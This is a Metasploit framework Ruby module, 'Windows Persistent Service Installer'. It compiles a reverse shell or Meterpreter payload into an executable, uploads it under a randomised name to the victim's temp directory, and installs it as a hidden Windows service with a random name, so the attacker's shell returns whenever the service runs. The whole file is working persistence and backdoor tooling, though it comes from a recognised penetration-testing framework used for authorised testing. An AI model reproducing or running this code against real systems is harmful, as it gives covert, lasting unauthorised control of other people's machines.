##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Persistent Service Installer',
'Description' => %q{
This Module will generate and upload an executable to a remote host, next will make it a persistent service.
It will create a new service which will start the payload whenever the service is running. Admin or system
privilege is required.
},
'License' => MSF_LICENSE,
'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' ],
'Platform' => [ 'windows' ],
'Targets' => [['Windows', {}]],
'SessionTypes' => [ 'meterpreter', 'shell'],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ]
],
'DisclosureDate'=> "Oct 20 2018"
))
register_options(
[
OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]),
OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']),
OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']),
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ])
])
end
# Run Method for when run command is issued
#-------------------------------------------------------------------------------
def exploit
unless is_system? || is_admin?
print_error("Insufficient privileges to create service")
return
end
unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse#
print_error("Only support for windows meterpreter/shell reverse staged payload")
return
end
print_status("Running module against #{sysinfo['Computer']}")
# Set variables
rexepath = datastore['REMOTE_EXE_PATH']
@retry_time = datastore['RETRY_TIME']
rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16)
# Add the windows pe suffix to rexename
unless rexename.end_with?('.exe')
rexename << ".exe"
end
host, _port = session.tunnel_peer.split(':')
@clean_up_rc = ""
buf = create_payload
vprint_status(buf)
metsvc_code = metsvc_template(buf)
bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)
victim_path = write_exe_to_target(bin, rexename, rexepath)
install_service(victim_path)
clean_rc = log_file
file_local_write(clean_rc, @clean_up_rc)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
report_note(host: host,
type: "host.persistance.cleanup",
data: {
local_id: session.sid,
stype: session.type,
desc: session.info,
platform: session.platform,
via_payload: session.via_payload,
via_exploit: session.via_exploit,
created_at: Time.now.utc,
commands: @clean_up_rc
})
end
def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end
# Function for writing executable to target host
# Code from post/windows/manage/persistence_exe
#
def write_exe_to_target(rexe, rexename, rexepath)
# check if we have write permission
if rexepath
begin
temprexe = rexepath + "\\" + rexename
write_file_to_target(temprexe,rexe)
rescue Rex::Post::Meterpreter::RequestError
print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%")
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
write_file_to_target(temprexe,rexe)
end
# Write to %temp% directory if not set REMOTE_EXE_PATH
else
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
write_file_to_target(temprexe,rexe)
end
print_good("Meterpreter service exe written to #{temprexe}")
@clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended.
@clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n"
temprexe
end
def write_file_to_target(temprexe,rexe)
fd = session.fs.file.new(temprexe, "wb")
fd.write(rexe)
fd.close
end
# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file
# Get hostname
host = session.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
# Create the log directory
::FileUtils.mkdir_p(logs)
logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
end
# Function to install payload as a service
#-------------------------------------------------------------------------------
def install_service(path)
print_status("Creating service #{@service_name}")
begin
session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, {'Hidden' => true})
rescue ::Exception => e
print_error("Failed to install the service.")
print_error(e.to_s)
end
@clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc
@clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc
end
def metsvc_template(buf)
@install_cmd = Rex::Text.rand_text_alpha(4..8)
@start_cmd = Rex::Text.rand_text_alpha(4..8)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb'))
ERB.new(template).result(binding)
end
end
